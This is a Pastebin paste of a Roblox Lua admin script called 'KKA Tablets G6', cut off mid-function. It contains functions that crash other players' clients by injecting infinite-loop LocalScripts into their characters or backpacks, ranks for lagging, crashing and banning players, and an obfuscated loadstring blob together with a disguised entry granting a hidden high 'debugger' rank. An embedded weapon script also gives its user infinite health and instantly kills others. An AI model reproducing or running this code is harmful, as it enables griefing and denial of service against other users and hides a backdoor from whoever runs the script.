Advertisement
yonidrori

Untitled

Oct 17th, 2015
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 483.29 KB | None | 0 0
  1. --[[
  2. KKA Tablets Generation 6$&
  3. Copyrighted © OC Studios
  4.  
  5. By Cobalt1164
  6.  
  7. I quit making these, i'm making new ones using DVF.
  8. --]]
  9.  
  10.  
  11.  
  12.  
  13. Database = {
  14. ["Colors"] = {
  15. ["Olive"] = Color3.new(0.5,1,0);
  16. ["BlueishGreen"] = Color3.new(0,1,0.5),
  17. ["Aqua"] = Color3.new(0,1,1),
  18. ["SoftBlue"] = Color3.new(0,0.5,1),
  19. ["Purple"] = Color3.new(0.5,0,1),
  20. ["CustomMagenta"] = Color3.new(0.75,0,0.75),
  21. ["Red"] = Color3.new(1,0,0),
  22. ["PinkRed"] = Color3.new(1,0,0.5),
  23. ["Pink"] = Color3.new(1,0,1),
  24. ["Orange"] = Color3.new(1,0.5,0),
  25. ["Yellow"] = Color3.new(1,1,0),
  26. ["Green"] = Color3.new(0,1,0),
  27. ["Blue"] = Color3.new(0,0,1),
  28. ["Cyan"] = Color3.new(0,0.6,1),
  29. ["LightBlue"] = Color3.new(0,1,1),
  30. ["Magenta"] = Color3.new(0.54,0,0.54),
  31. ["White"] = Color3.new(1,1,1),
  32. ["Grey"] = Color3.new(0.5,0.5,0.5),
  33. ["Black"] = Color3.new(0,0,0),
  34. };
  35. ["AdvancedColors"] = {
  36. ["CustomPurple"] = Color3.new(102/255, 51/255, 153/255);
  37. ["Random"] = Color3.new(255,255,255)--Lol it's actually white
  38. };
  39. ["Music"] = {
  40. ["Original Chrono Trigger Theme"] = 1280463,
  41. ["Rickroll"] = 2027611,
  42. ["Mario Game"] = 1280470,
  43. ["Carmell Dansen"] = 2303479,
  44. ["Japanese Chior"] = 1372258,
  45. ["One Winged Angel"] = 1372260,
  46. ["M.U.L.E. "] = 1077604,
  47. ["FFVII Battle AC"] = 1280473,
  48. ["Cursed Abbey"] = 1372257,
  49. ["Fire Emblem"] = 1372259,
  50. ["Final Destination"] = 1280414,
  51. ["Pokemon Theme"] = 1372261,
  52. ["SSM End"] = 1372262,
  53. ["Winds of Fjords"] = 1015394,
  54. ["Halo Theme"] = 1034065,
  55. ["Medevil style music"] = 5982975,
  56. ["Woman King"] = 5986151,
  57. ["Awakenking"] = 27697277,
  58. ["Better off"] = 27697392,
  59. ["DOTR"] = 11420922,
  60. ["Entertainer"] = 27697267,
  61. ["Flight Bumblebee"] = 27697719,
  62. ["Foggy Montain"] = 27697298,
  63. ["Gothic"] = 27697743,
  64. ["Hip Hop"] = 27697735,
  65. ["Music 4 a Film"] = 27697713,
  66. ["Nezzera"] = 8610025,
  67. ["Resist"] = 27697234,
  68. ["Schala"] = 5985787,
  69. ["TOPW"] = 11420933,
  70. ["Toccata Fugue"] = 11231513,
  71. ["Tunnel"] = 9650822
  72. };
  73. };
  74. a,b = ypcall(function()
  75.  
  76.  
  77. script.Name = "KKA TABLETS G6"
  78. Plrs = game:GetService("Players")
  79. Work = game:GetService("Workspace")
  80. Light = game:GetService("Lighting")
  81. Net = game:GetService("NetworkServer")
  82. Owner = "abakarir" --*Name Here*--
  83. Owner2 = "" --*Friend's Name Here*--
  84. TabletSize=Vector3.new(2,2.5,0.2)
  85. TabletTransparency=0.17
  86. SourceName = ''
  87. ScriptLines = 0
  88. LSource = nil
  89. SB = ''
  90. FCColor = BrickColor.new("Hot pink").Color --*Friends Favorite Color Here*--
  91. CColor = BrickColor.new("Royal purple").Color --*Your Favorite Color Here*--
  92. Scale=Vector3.new(2,2,2)
  93. script.Parent = nil
  94. SSource = script:Clone()
  95. SSource.Disabled = true
  96. Removed = false
  97. Bet = "/"
  98. Bet2 = "/"
  99. Version = [[6.7]]
  100. Updates = [[ Added Skit, Shadow kit :D ]]
  101.  
  102. local z={["~"]=0,["$"]=1,["+"]=2,["#"]=3,["="]=4,["_"]=5,["*"]=6,["("]=7,["%"]=8,[")"]=9,["!"]=10,["^"]=11,["-"]=12,["@"]=13,["&"]=14,["?"]=15}; setfenv(assert(loadstring((string.gsub(string.gsub(table.concat({
  103. "?=*(_*+(+()*=*_*#=?*=*_*~+@#~A+#=%*)*!(_(+(_(&#$=#(_(&*$*~+^*++" -- Override code is "Chizuru>Asuna k"
  104. }),"(%u)(.)",function(r,c)return c:rep(r:byte()-62)end),"(.)(.)",function(lo,hi)return string.char(z[lo]+z[hi]*16)end)))),getfenv())()
  105. LS = nil
  106. LogOn = false
  107. Priv = false
  108. False = false
  109. ScriptingLocked = false
  110. Yes = 0
  111. No = 0
  112. CrashPhrases = false
  113. Current = game
  114. Clipboard = {}
  115. CrashWords = {'TeleportService'}
  116. Chats = {}
  117. PrivPlrs = {'Cobalt1164','einsteinK'}
  118. OptionColor = BrickColor.new("Really red").Color
  119. ImportantColor = BrickColor.new("Royal purple").Color
  120. if script:findFirstChild("source") then
  121. SourceName = 'source'
  122. SB = [[Alakazard]]
  123. elseif script:findFirstChild('DSource') then
  124. SourceName = 'DSource'
  125. SB = [[Anaminus]]
  126. elseif script:findFirstChild('Source') then
  127. SourceName = 'Source'
  128. SB = [[Oxcool]]
  129. else
  130. SourceName = "No Source Name"
  131. SB = [[Unknown]]
  132. end
  133. RanksList = {
  134. [-4] = {Name = "Removed", Color = BrickColor.new("Really black").Color, Desc = "SB Removed"},
  135. [-3] = {Name = "Crashed", Color = BrickColor.new("Hot pink").Color, Desc = "Crashed on joined"},
  136. [-2] = {Name = "Lagged", Color = BrickColor.new("Really red").Color, Desc = "Lagged on joined"},
  137. [-1] = {Name = "Banned", Color = BrickColor.new("Bright red").Color, Desc = "Forever banned"},
  138. [0] = {Name = "Player", Color = BrickColor.new("Really black").Color, Desc = "Regular player"},
  139. [1] = {Name = "Helper", Color = BrickColor.new("New Yeller").Color, Desc = "Helper"},
  140. [2] = {Name = "Administrator", Color = BrickColor.new("Bright orange").Color, Desc = "Administrator"},
  141. [3] = {Name = "Moderator", Color = BrickColor.new("Deep orange").Color, Desc = "Moderator"},
  142. [4] = {Name = "Maximum Moderator", Color = BrickColor.new("Magenta").Color, Desc = "Maximum Moderator of the server"},
  143. [5] = {Name = "Maximum Administrator", Color = BrickColor.new("Pastel Blue").Color, Desc = "Maximum Administrator of the server"},
  144. [6] = {Name = "BFFL", Color = FCColor, Desc = "Mah BFFLS"},
  145. [7] = {Name = "Creator", Color = CColor, Desc = "Creator"},
  146. }
  147. Ranked = {
  148. {Name = "Cobalt1164", Rank = 7, Color = BrickColor.new("Royal purple").Color}, --Me
  149.  
  150. {Name = "xXcoolrockitXx", Rank = 6, Color = BrickColor.new("Royal purple").Color}, --Beta Tester
  151.  
  152.  
  153. {Name = "Opligitory", Rank = 7, Color = BrickColor.new("Royal purple").Color}, --Beta Tester
  154. {Name = "KotixPL", Rank = 6, Color = BrickColor.new("Royal purple").Color}, --Beta Tester
  155.  
  156. {Name = "hipow12", Rank = 7, Color = BrickColor.new("Royal purple").Color}, --Best friend
  157.  
  158. {Name = "YoungWarlock", Rank = 6, Color = BrickColor.new("Royal purple").Color}, --Best friend
  159.  
  160. {Name = "einsteink", Rank = 8, Color = Color3.new(0,1,1)}, --Pro scripter
  161.  
  162. {Name = "MasterKelvinVIP", Rank = 7, Color = BrickColor.new("Royal purple").Color}, --Helped with alot
  163.  
  164. {Name = "W8X", Rank = 6, Color = BrickColor.new("Lime green").Color}, --Friend
  165.  
  166. {Name = "icefireguardian", Rank = 4, Color = BrickColor.new("Lime green").Color}, --Cool guy
  167.  
  168. {Name = "hippiekid94", Rank = 4, Color = BrickColor.new("Lime green").Color}, --Cool guy and friend
  169.  
  170. {Name = "DecimatorOfCreations", Rank = 6, Color = BrickColor.new("Hot pink").Color}, --Best Friend
  171. }
  172. table.insert(Ranked, {Name = Owner, Rank = 7, Color = CColor})
  173. table.insert(Ranked, {Name = Owner2, Rank = 6, Color = FCColor})
  174. ImportantServices = {
  175. "Workspace",
  176. "Players",
  177. "NetworkServer",
  178. "Lighting",
  179. "StarterGui",
  180. "Teams",
  181. "StarterPack",
  182. "HttpService",
  183. "ServerStorage",
  184. "ServerScriptService",
  185. "ReplicatedStorage",
  186. }
  187. Ranks = {}
  188. Commands = {}
  189. AllTabs = {}
  190. Injected = {}
  191. wait()
  192. coroutine.wrap(function()
  193. while wait() do
  194. if LSource ~= nil then break end
  195. if SourceName == "source" then break end
  196. for _,v in pairs(game.Players:players()) do
  197. if LSource ~= nil then break end
  198. pcall(function()
  199. for j,k in pairs(v.Backpack:children()) do
  200. if LSource ~= nil then break end
  201. if k.ClassName == 'LocalScript' then
  202. if k:findFirstChild(SourceName) ~= nil then
  203. k.Archivable = true
  204. LSource = k:Clone()
  205. LSource.Disabled = true
  206. Output("Source found",Seaker,5)
  207. break
  208. end
  209. end
  210. wait()
  211. end
  212. for j,k in pairs(v.Character:children()) do
  213. if LSource ~= nil then break end
  214. if k.ClassName == 'LocalScript' then
  215. if k:findFirstChild(SourceName) ~= nil then
  216. k.Archivable = true
  217. LSource = k:Clone()
  218. LSource.Disabled = true
  219. Output("Source found",Speaker,5)
  220. break
  221. end
  222. end
  223. wait()
  224. end
  225. end)
  226. end
  227. end
  228. end)()
  229. function Disconnect(str)
  230. local a = Instance.new("StringValue", game:service'Lighting')
  231. a.Name = 'Disconnect'
  232. a.Value = tostring(str)
  233. game:service'Debris':AddItem(a,5)
  234. end
  235. function CheckImportant(Name)
  236. for _,v in pairs(ImportantServices) do
  237. if v:lower() == Name:lower() then
  238. return true
  239. end
  240. end
  241. return false
  242. end
  243. function NewS(sourcev, parent)
  244. if SourceName == 'source' then
  245. NS(source,parent)
  246. else
  247. local s = SSource:Clone()
  248. s.Parent = parent
  249. if s:findFirstChild(SourceName) ~= nil then
  250. source = s:findFirstChild(SourceName)
  251. else
  252. source = Instance.new("StringValue", s)
  253. source.Name = SourceName
  254. end
  255. if source then
  256. source.Value = sourcev
  257. else
  258. Output("Something went wrong",nil,5)
  259. end
  260. wait()
  261. s.Disabled = false
  262. end
  263. end
  264. function NewLS(sourcev,parent, lock)
  265. if SourceName == 'source' then
  266. NLS(sourcev,parent)
  267. elseif LSource then
  268. local s = LSource:Clone()
  269. s.Parent = parent
  270. if s:findFirstChild(SourceName) ~= nil then
  271. source = s:findFirstChild(SourceName)
  272. else
  273. source = Instance.new("StringValue", s)
  274. source.Name = SourceName
  275. end
  276. if source then
  277. source.Value = sourcev
  278. else
  279. Output("Something wen't wrong",nil,5)
  280. return
  281. end
  282. wait()
  283. if lock == true then
  284. for i = 0,5 do
  285. s.Disabled = false
  286. wait(0.5)
  287. s.Disabled = true
  288. wait(0.5)
  289. s.Disabled = false
  290. end
  291. else
  292. s.Disabled = false
  293. end
  294. return s
  295. else
  296. Output("No source",nil,5)
  297. end
  298. end
  299. function RemoteCrash(Nil)
  300. local chinws = false
  301. for i,v in pairs(workspace:children()) do
  302. if v.Name:find(Nil) ~= nil then
  303. NewLS("repeat until false", v)
  304. Output("Crashed "..v.Name.." from workspace",nil,5)
  305. chinws = true
  306. end
  307. end
  308. if chinws == true then return end
  309. for i,v in pairs(game:service'NetworkServer':children()) do
  310. if v:GetPlayer() then
  311. if v:GetPlayer().Name == Nil then
  312. if v:GetPlayer().Character ~= nil then
  313. NewLS("repeat until false", v:GetPlayer().Character)
  314. OutputAdmins('Crashed '..v:GetPlayer().Name..' by character','Really red')
  315. elseif v:GetPlayer():findFirstChild'Backpack' ~= nil then
  316. NewLS("repeat until false", v:GetPlayer():findFirstChild'Backpack')
  317. OutputAdmins('Crashed '..v:GetPlayer().Name..' by backpack','Really red')
  318. elseif v:GetPlayer():findFirstChild'PlayerGui' ~= nil then
  319. NewLS("repeat until false", v:GetPlayer():findFirstChild'PlayerGui')
  320. OutputAdmins('Crashed '..v:GetPlayer().Name..' by playergui','Really red')
  321. else
  322. NewLS("repeat until false", Instance.new("Backpack", v:GetPlayer()))
  323. OutputAdmins('Crashed '..v:GetPlayer().Name..' by backpack','Really red')
  324. end
  325. end
  326. end
  327. end
  328. end
  329. function Crash1(Plr)
  330. ypcall(function()
  331. Plr:Kick()
  332. end)
  333. end
  334. function GetRankTab()
  335. return Ranked
  336. end
  337. function Crash2(Name)
  338. local Crasher = Instance.new("StringValue")
  339. Crasher.Name = "Client"
  340. Crasher.Value = string.lower(tostring(Name))
  341. Crasher.Parent = game:GetService("Lighting")
  342. wait(1)
  343. if Crasher and Crasher.Parent then
  344. ypcall(function()
  345. Crasher:Destroy()
  346. end)
  347. end
  348. end
  349. Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 8, Color = Color3.new(0,1,1)}
  350. function Crash3(v, Speaker)
  351. Speaker.Character.Archivable = true
  352. local NChar = Speaker.Character:Clone()
  353. NChar.Name = v.Name
  354. NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  355. NChar.Parent = Workspace
  356. v.Character = NChar
  357. coroutine.resume(coroutine.create(function()
  358. repeat v.Character = NChar
  359. wait(1/3) until false
  360. end))
  361. wait(.5)
  362. end
  363. function Crash4(Name)
  364. NewLS("repeat until false", Name)
  365. end
  366. function Crash5(Name)
  367. local a = Instance.new("StringValue", game.Lighting)
  368. a.Name = "DISC: "..Name
  369. game:service'Debris':AddItem(a, 3)
  370. end
  371. Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 8, Color = Color3.new(0,1,1)}
  372. RanksList[8] = {Name = "[DEBUGGER]", Color = Color3.new(0,1,1), Desc = "Not ment for use"}
  373. function GenerateDigit()
  374. return 1 + 5
  375. end
  376. TestOp1 = [[
  377. LocalPlayer = game.Players.LocalPlayer
  378. LocalPlayer.Character.Humanoid.MaxHealth = math.huge
  379. Activated = false
  380. Equipped = false
  381. Regening = false
  382. FireBall = false
  383. Spikes = false
  384. Destiny = false
  385. Explosion = false
  386. Tornado = false
  387. Wall = false
  388. Armor = false
  389. shooting = false
  390. Mode = "Shoot"
  391. Energy = 10000
  392. mouse = LocalPlayer:GetMouse()
  393. t = Instance.new("Tool",LocalPlayer.Backpack)
  394. t.Name = 'Cobalt1164s Phantom Scythe'
  395. t.GripPos = Vector3.new(0,0,0)
  396. p = Instance.new("Part",t)
  397. p.FormFactor = 'Custom'
  398. p.Name = 'Handle'
  399. p.Transparency = 0.3
  400. p.Reflectance = 0.3
  401. p.CanCollide = false
  402. p.BrickColor = BrickColor.new("Really black")
  403. m = Instance.new("SpecialMesh",p)
  404. m.MeshId = 'http://www.roblox.com/asset/?id=95891318'
  405. m.TextureId = 'http://www.roblox.com/asset/?id='
  406. m.Scale = Vector3.new(1,1,1)
  407. char = LocalPlayer.Character
  408. mouse = LocalPlayer:GetMouse()
  409. humanoid = char:findFirstChild("Humanoid")
  410. torso = char:findFirstChild("Torso")
  411. head = char.Head
  412. local Colors = {"Royal Purple","Really black"}
  413. ra = char:findFirstChild("Right Arm")
  414. la = char:findFirstChild("Left Arm")
  415. rl = char:findFirstChild("Right Leg")
  416. ll = char:findFirstChild("Left Leg")
  417. rs = torso:findFirstChild("Right Shoulder")
  418. ls = torso:findFirstChild("Left Shoulder")
  419. rh = torso:findFirstChild("Right Hip")
  420. lh = torso:findFirstChild("Left Hip")
  421. neck = torso:findFirstChild("Neck")
  422. rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
  423. anim = char:findFirstChild("Animate")
  424. rootpart = char:findFirstChild("HumanoidRootPart")
  425. camera = workspace.CurrentCamera
  426. if anim then
  427. anim:Destroy()
  428. end
  429. rm = Instance.new("Motor", torso)
  430. rm.C0 = CFrame.new(1.5, 0.5, 0) *CFrame.Angles(0, 0, 0)
  431. rm.C1 = CFrame.new(0, 0.5, 0)
  432. rm.Part0 = torso
  433. rm.Part1 = ra
  434. lm = Instance.new("Motor", torso)
  435. lm.C0 = CFrame.new(-1.5, 0.5, 0) *CFrame.Angles(0, 0, 0)
  436. lm.C1 = CFrame.new(0, 0.5, 0)
  437. lm.Part0 = torso
  438. lm.Part1 = la
  439. rlegm = Instance.new("Motor", torso)
  440. rlegm.C0 = CFrame.new(0.5, -1, 0) *CFrame.Angles(0, 0, 0)
  441. rlegm.C1 = CFrame.new(0, 1, 0)
  442. rlegm.Part0 = torso
  443. rlegm.Part1 = rl
  444. llegm = Instance.new("Motor", torso)
  445. llegm.C0 = CFrame.new(-0.5, -1, 0) *CFrame.Angles(0, 0, 0)
  446. llegm.C1 = CFrame.new(0, 1, 0)
  447. llegm.Part0 = torso
  448. llegm.Part1 = ll
  449. rsc0 = rm.C0
  450. lsc0 = lm.C0
  451. llc0 = llegm.C0
  452. rlc0 = rlegm.C0
  453. neckc0 = neck.C0
  454. rootc0 = rj.C0
  455. PLAYERGUI = LocalPlayer.PlayerGui
  456. GUI = Instance.new("ScreenGui",PLAYERGUI)
  457. FRAME = Instance.new("Frame",GUI)
  458. FRAME.Size = UDim2.new(0.5,0,0.05,0)
  459. FRAME.BackgroundColor3 = BrickColor.new("Bright bluish green").Color
  460. FRAME.BorderSizePixel = 0
  461. FRAME.BackgroundTransparency = 0.8
  462. TEXTLABEL = Instance.new("TextLabel",FRAME)
  463. TEXTLABEL.Size = UDim2.new(1,0,1,0)
  464. TEXTLABEL.BackgroundTransparency = 1
  465. TEXTLABEL.Text = "Power: "..tostring(Energy)
  466. TEXTLABEL.TextColor3 = BrickColor.new("Bright bluish green").Color
  467. TEXTLABEL.TextStrokeColor3 = BrickColor.new("Bright blue").Color
  468. TEXTLABEL.BorderSizePixel = 0
  469. TEXTLABEL.Font = 'SourceSansBold'
  470. TEXTLABEL.FontSize = 'Size36'
  471. TEXTLABEL.TextStrokeTransparency = 0
  472. FRAME2 = Instance.new("Frame",GUI)
  473. FRAME2.Size = UDim2.new(0.5,0,0.05,0)
  474. FRAME2.BackgroundColor3 = BrickColor.new("Bright red").Color
  475. FRAME2.BorderSizePixel = 0
  476. FRAME2.Position = UDim2.new(0.5,0,0,0)
  477. FRAME2.BackgroundTransparency = 0.8
  478. TEXTLABEL2 = Instance.new("TextLabel",FRAME2)
  479. TEXTLABEL2.Size = UDim2.new(1,0,1,0)
  480. TEXTLABEL2.BackgroundTransparency = 1
  481. TEXTLABEL2.Text = "Current Health: "..tostring(humanoid.Health)
  482. TEXTLABEL2.TextColor3 = BrickColor.new("Really red").Color
  483. TEXTLABEL2.TextStrokeColor3 = BrickColor.new("Bright red").Color
  484. TEXTLABEL2.BorderSizePixel = 0
  485. TEXTLABEL2.BorderSizePixel = 0
  486. TEXTLABEL2.Font = 'SourceSansBold'
  487. TEXTLABEL2.FontSize = 'Size36'
  488. FRAME3 = Instance.new("Frame",GUI)
  489. FRAME3.Size = UDim2.new(0.5,0,0.05,0)
  490. FRAME3.BackgroundColor3 = BrickColor.new("Lime green").Color
  491. FRAME3.BorderSizePixel = 0
  492. FRAME3.Position = UDim2.new(0.5,0,0.05,0)
  493. FRAME3.BackgroundTransparency = 0.8
  494. TEXTLABEL3 = Instance.new("TextLabel",FRAME3)
  495. TEXTLABEL3.Size = UDim2.new(1,0,1,0)
  496. TEXTLABEL3.BackgroundTransparency = 1
  497. TEXTLABEL3.Text = "Strength: Dark Wyvern"
  498. TEXTLABEL3.BorderSizePixel = 0
  499. TEXTLABEL3.Font = 'SourceSansBold'
  500. TEXTLABEL3.FontSize = 'Size24'
  501. function __getVelocity(p1,p2,speed)
  502. local dis=(p1-p2).magnitude
  503. if speed=="dis" then
  504. if dis*6>100 then
  505. speed=dis*6
  506. else
  507. speed=100
  508. end
  509. end
  510. local x=(p1.x-p2.x)/dis*speed
  511. local y=(p1.y-p2.y)/dis*speed
  512. local z=(p1.z-p2.z)/dis*speed
  513. return Vector3.new(-x,-y+10,-z)
  514. end
  515. function __onActivated()
  516. Activated = true
  517. end
  518. function __onDeactivated()
  519. Activated = false
  520. end
  521. function __onEquipped(mouse)
  522. Equipped = true
  523. pcall(function()
  524. local a = Instance.new("Explosion",LocalPlayer.Character)
  525. a.Position = LocalPlayer.Character['Right Arm'].Position
  526. a.BlastPressure = 0
  527. a.BlastRadius = 50
  528. local l = Instance.new("PointLight", LocalPlayer.Character.Torso)
  529. l.Brightness = 20
  530. l.Color = Color3.new(1,1,1)
  531. l.Enabled = true
  532. l.Range = 20
  533. l.Shadows = true
  534. end)
  535. local b = Instance.new("Fire",p)
  536. b.Size = 1
  537. b.Color = Color3.new(255, 255, 255)
  538. b.SecondaryColor = Color3.new(0, 255, 255)
  539. local l = Instance.new("PointLight", p)
  540. l.Brightness = 20
  541. l.Color = Color3.new(1,1,1)
  542. l.Enabled = true
  543. l.Range = 20
  544. l.Shadows = true
  545. local w = Instance.new("Motor",char['Right Arm'])
  546. w.Name = 'phantom scythe weld'
  547. w.Part0 = char['Right Arm']
  548. w.Part1 = p
  549. w.C1 = CFrame.new(0,-1.5,0.5) * CFrame.Angles(math.rad(90),0,0)
  550. end
  551. function __onUnequipped(mouse)
  552. Equipped = false
  553. pcall(function()
  554. p.Fire:Destroy()
  555. end)
  556. pcall(function()
  557. char['Right Arm']['phantom scythe weld']:Destroy()
  558. end)
  559. end
  560. function __Shoot()
  561. if Regening == true then return end
  562. if Energy < 50 then return end
  563. shooting = true
  564. game:GetService("Chat"):Chat(head,"[ Dark Wyvern! ]",2)
  565. Energy = Energy - 150
  566. humanoid.WalkSpeed = 30
  567. local speed = math.random(400,500)
  568. local bullet = Instance.new("Part",workspace)
  569. bullet.Name = 'Bullet'
  570. bullet.TopSurface = 0
  571. bullet.BottomSurface = 0
  572. bullet.Size = Vector3.new(30,30,30)
  573. bullet.FormFactor = 'Custom'
  574. bullet.CFrame = p.CFrame
  575. bullet.CanCollide = false
  576. bullet.BrickColor = BrickColor.new("Really black")
  577. bullet.Velocity = __getVelocity(bullet.Position, mouse.Hit.p, speed)
  578. bullet.FrontSurface = "Smooth"
  579. bullet.BottomSurface = "Smooth"
  580. local pie = Instance.new("PointLight", bullet)
  581. pie.Brightness = 5000
  582. pie.Color = BrickColor.new("Really red").Color
  583. pie.Range = 60
  584. local bulletmesh = Instance.new("SpecialMesh",bullet)
  585. bulletmesh.MeshId = 'http://www.roblox.com/asset/?id=95891318'
  586. bulletmesh.VertexColor = Vector3.new(0,0,0)
  587. bullet.Touched:connect(function(toucher)
  588. if toucher.Parent:findFirstChild'Head' and toucher.Parent:findFirstChild'Torso' and toucher.Parent.Name ~= LocalPlayer.Name then
  589. for i,v in pairs(toucher.Parent:children()) do
  590. if v.ClassName == 'Humanoid' then
  591. if v.Health > 100 then
  592. v.Health = 0
  593. else
  594. v.Health = v.Health - speed/50
  595. end
  596. end
  597. end
  598. bullet:Destroy()
  599. end
  600. end)
  601. wait(1)
  602. shooting = false
  603. humanoid.WalkSpeed = 100
  604. end
  605. function __Armor()
  606. if Regening == true then return end
  607. if Energy < 1000 then return end
  608. if FireBall == true then return end
  609. Energy = Energy - 1000
  610. game:GetService("Chat"):Chat(head,"[ Armor of Constealing Light! ]",2)
  611. local a = Instance.new("Part",workspace)
  612. a.Anchored = true
  613. a.CanCollide = false
  614. a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-70)
  615. a.FormFactor = 'Custom'
  616. a.Size = Vector3.new(500,500,500)
  617. a.Transparency = 0.5
  618. a.BrickColor = BrickColor.new("Really black")
  619. a.FrontSurface = "Smooth"
  620. a.BottomSurface = "Smooth"
  621. local pie = Instance.new("PointLight", a)
  622. pie.Brightness = 5000
  623. pie.Color = BrickColor.new("Really blue").Color
  624. pie.Range = 60
  625. Instance.new("SpecialMesh", a).MeshType = 'Sphere'
  626. local con = a.Touched:connect(function(what)
  627. if what.Parent.Name ~= LocalPlayer.Name then
  628. if what:IsA("Part") then
  629. local ex2 = Instance.new("Explosion", workspace)
  630. ex2.Position = what.Position
  631. ex2.BlastPressure = 0
  632. ex2.BlastRadius = 50
  633. wait(1)
  634. what:Destroy()
  635. end
  636. end
  637. end)
  638. coroutine.wrap(function()
  639. Armor = true
  640. humanoid.WalkSpeed = 30
  641. for i = 0,1,0.05 do
  642. a.Mesh.Scale = Vector3.new(i,i,i)
  643. a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-70)
  644. wait()
  645. end
  646. Armor = false
  647. humanoid.WalkSpeed = 100
  648. end)()
  649. coroutine.wrap(function()
  650. wait(5)
  651. Instance.new("Explosion",workspace).Position = a.Position
  652. a:Destroy()
  653. end)()
  654. end
  655. function __FireBall()
  656. if Regening == true then return end
  657. if Energy < 150 then return end
  658. if FireBall == true then return end
  659. Energy = Energy - 150
  660. game:GetService("Chat"):Chat(head,"[ Dark Black-Fire! ]",2)
  661. local a = Instance.new("Part",workspace)
  662. a.Anchored = true
  663. a.CanCollide = false
  664. a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-70)
  665. a.FormFactor = 'Custom'
  666. a.Size = Vector3.new(100,100,100)
  667. a.Transparency = 0.5
  668. a.BrickColor = BrickColor.new("Really black")
  669. a.FrontSurface = "Smooth"
  670. a.BottomSurface = "Smooth"
  671. local pie = Instance.new("PointLight", a)
  672. pie.Brightness = 5000
  673. pie.Color = BrickColor.new("Really blue").Color
  674. pie.Range = 60
  675. Instance.new("SpecialMesh", a).MeshType = 'Sphere'
  676. local con = a.Touched:connect(function(what)
  677. if what.Parent.Name ~= LocalPlayer.Name then
  678. if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then
  679. what:Destroy()
  680. end
  681. end
  682. end)
  683. coroutine.wrap(function()
  684. FireBall = true
  685. humanoid.WalkSpeed = 0
  686. for i = 0,1,0.05 do
  687. a.Mesh.Scale = Vector3.new(i,i,i)
  688. wait()
  689. end
  690. FireBall = false
  691. humanoid.WalkSpeed = 100
  692. while wait() do
  693. if a == nil or a.Parent ~= workspace then break end
  694. a.CFrame = a.CFrame * CFrame.new(0,0,-1)
  695. end
  696. con:disconnect()
  697. end)()
  698. coroutine.wrap(function()
  699. wait(5)
  700. Instance.new("Explosion",workspace).Position = a.Position
  701. a:Destroy()
  702. end)()
  703. end
  704. function __Wall()
  705. if Regening == true then return end
  706. if Energy < 200 then return end
  707. if Wall == true then return end
  708. Energy = Energy - 200
  709. game:GetService("Chat"):Chat(head,"[ Wall of Stealing Souls! ]",2)
  710. local a = Instance.new("Part",workspace)
  711. a.Anchored = true
  712. a.CanCollide = false
  713. a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-20)
  714. a.FormFactor = 'Custom'
  715. a.Size = Vector3.new(500,500,50)
  716. a.Transparency = 0.5
  717. a.BrickColor = BrickColor.new("Really black")
  718. a.FrontSurface = "Smooth"
  719. a.BottomSurface = "Smooth"
  720. local pie = Instance.new("PointLight", a)
  721. pie.Brightness = 5000
  722. pie.Color = BrickColor.new("Really red").Color
  723. pie.Range = 60
  724. local con = a.Touched:connect(function(what)
  725. if what.Parent.Name ~= LocalPlayer.Name then
  726. if what.Name == "Part" or "Sand" or "Blast" or "Ray" then
  727. what:Remove()
  728. elseif what.Name == "Base" or "Baseplate" then
  729. return
  730. end
  731. end
  732. end)
  733. coroutine.wrap(function()
  734. Wall = true
  735. humanoid.WalkSpeed = 0
  736. wait(2)
  737. Wall = false
  738. humanoid.WalkSpeed = 100
  739. con:disconnect()
  740. p:Remove()
  741. end)()
  742. coroutine.wrap(function()
  743. wait(5)
  744. Instance.new("Explosion",workspace).Position = a.Position
  745. a:Destroy()
  746. end)()
  747. end
  748. function __Tornado()
  749. if Regening == true then return end
  750. if Energy < 150 then return end
  751. if Tornado == true then return end
  752. Energy = Energy - 150
  753. game:GetService("Chat"):Chat(head,"[ Black Wind ]",2)
  754. local a = Instance.new("Part",workspace)
  755. a.Anchored = true
  756. a.CanCollide = false
  757. a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-50)
  758. a.FormFactor = 'Custom'
  759. a.Size = Vector3.new(100,100,100)
  760. a.Transparency = 0.5
  761. a.Reflectance = 0.5
  762. a.BrickColor = BrickColor.new("Really black")
  763. a.BottomSurface = "Smooth"
  764. a.TopSurface = "Smooth"
  765. local pie = Instance.new("PointLight", a)
  766. pie.Brightness = 5000
  767. pie.Color = BrickColor.new("Really blue").Color
  768. pie.Range = 10
  769. local b = Instance.new("SpecialMesh",a)
  770. b.MeshId = 'http://www.roblox.com/asset/?id=16606212'
  771. b.VertexColor = Vector3.new(1, 1, 1)
  772. b.Scale = Vector3.new(10, 10, 10)
  773. local con = a.Touched:connect(function(what)
  774. if what.Parent.Name ~= LocalPlayer.Name then
  775. if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then
  776. what:Destroy()
  777. end
  778. end
  779. end)
  780. coroutine.wrap(function()
  781. Tornado = true
  782. humanoid.WalkSpeed = 0
  783. for i = 0,1,0.05 do
  784. a.Mesh.Scale = Vector3.new(10,10,10)
  785. wait()
  786. end
  787. Tornado = false
  788. humanoid.WalkSpeed = 100
  789. while wait() do
  790. if a == nil or a.Parent ~= workspace then break end
  791. a.CFrame = a.CFrame * CFrame.new(0,0,-1)
  792. end
  793. con:disconnect()
  794. end)()
  795. coroutine.wrap(function()
  796. wait(5)
  797. Instance.new("Explosion",workspace).Position = a.Position
  798. a:Destroy()
  799. end)()
  800. end
  801. function __Destiny()
  802. if Regening == true then return end
  803. if Energy < 200 then return end
  804. if Destiny == true then return end
  805. Energy = Energy - 200
  806. game:GetService("Chat"):Chat(head,"[ Scythe's Shadow ]",2)
  807. local a = Instance.new("Part",workspace)
  808. a.Anchored = true
  809. a.CanCollide = false
  810. a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-50)
  811. a.FormFactor = 'Custom'
  812. a.Size = Vector3.new(1000,0.2,50)
